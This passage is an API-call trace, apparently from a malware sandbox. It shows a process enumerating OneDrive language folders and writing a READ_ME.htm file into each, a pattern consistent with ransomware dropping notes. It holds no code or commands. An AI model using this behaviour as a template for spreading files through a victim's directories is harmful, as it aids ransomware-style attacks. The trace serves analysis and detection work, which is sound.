ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee1f6d50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee1f6d50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x13ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.478] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.478] SetErrorMode (uMode=0x0) returned 0x1 [0145.478] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.478] SetErrorMode (uMode=0x1) returned 0x0 [0145.478] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fr\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\fr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.479] SetErrorMode (uMode=0x0) returned 0x1 [0145.479] GetFileType (hFile=0x1d0) returned 0x1 [0145.479] WriteFile (in: hFile=0x1d0, lpBuffer=0x2881ab8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2881ab8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie", lpFilePart=0x0) returned 0x48 [0145.481] SetErrorMode (uMode=0x1) returned 0x0 [0145.481] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ga-ie\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.482] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.482] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee967210, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.482] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee967210, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.482] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.482] SetErrorMode (uMode=0x0) returned 0x1 [0145.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie", lpFilePart=0x0) returned 0x48 [0145.483] SetErrorMode (uMode=0x1) returned 0x0 [0145.483] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ga-ie\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.483] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1f6d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.483] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee967210, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.483] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee967210, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee967210, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee967210, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.483] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.483] SetErrorMode (uMode=0x0) returned 0x1 [0145.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.484] SetErrorMode (uMode=0x1) returned 0x0 [0145.484] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ga-ie\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ga-ie\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.485] SetErrorMode (uMode=0x0) returned 0x1 [0145.485] GetFileType (hFile=0x1d0) returned 0x1 [0145.485] WriteFile (in: hFile=0x1d0, lpBuffer=0x2888120*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2888120*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.486] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd", lpFilePart=0x0) returned 0x45 [0145.486] SetErrorMode (uMode=0x1) returned 0x0 [0145.486] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee98d370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee98d370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.488] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.488] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.488] SetErrorMode (uMode=0x0) returned 0x1 [0145.488] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd", lpFilePart=0x0) returned 0x45 [0145.488] SetErrorMode (uMode=0x1) returned 0x0 [0145.488] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee98d370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.488] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee98d370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.488] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.489] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec14ad0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec14ad0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.489] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.489] SetErrorMode (uMode=0x0) returned 0x1 [0145.489] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.489] SetErrorMode (uMode=0x1) returned 0x0 [0145.489] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.490] SetErrorMode (uMode=0x0) returned 0x1 [0145.490] GetFileType (hFile=0x1d0) returned 0x1 [0145.490] WriteFile (in: hFile=0x1d0, lpBuffer=0x288e708*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x288e708*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn", lpFilePart=0x0) returned 0x4a [0145.491] SetErrorMode (uMode=0x1) returned 0x0 [0145.491] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd-latn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.493] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.493] SetErrorMode (uMode=0x0) returned 0x1 [0145.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn", lpFilePart=0x0) returned 0x4a [0145.493] SetErrorMode (uMode=0x1) returned 0x0 [0145.493] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd-latn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec14ad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeee29e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeee29e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x146a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.494] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.494] SetErrorMode (uMode=0x0) returned 0x1 [0145.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0145.494] SetErrorMode (uMode=0x1) returned 0x0 [0145.494] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gd-latn\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gd-latn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.495] SetErrorMode (uMode=0x0) returned 0x1 [0145.495] GetFileType (hFile=0x1d0) returned 0x1 [0145.495] WriteFile (in: hFile=0x1d0, lpBuffer=0x2894db8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2894db8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl", lpFilePart=0x0) returned 0x45 [0145.496] SetErrorMode (uMode=0x1) returned 0x0 [0145.496] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\gl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\gl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeee29e10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeeff2e90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeff2e90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeff2e90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, 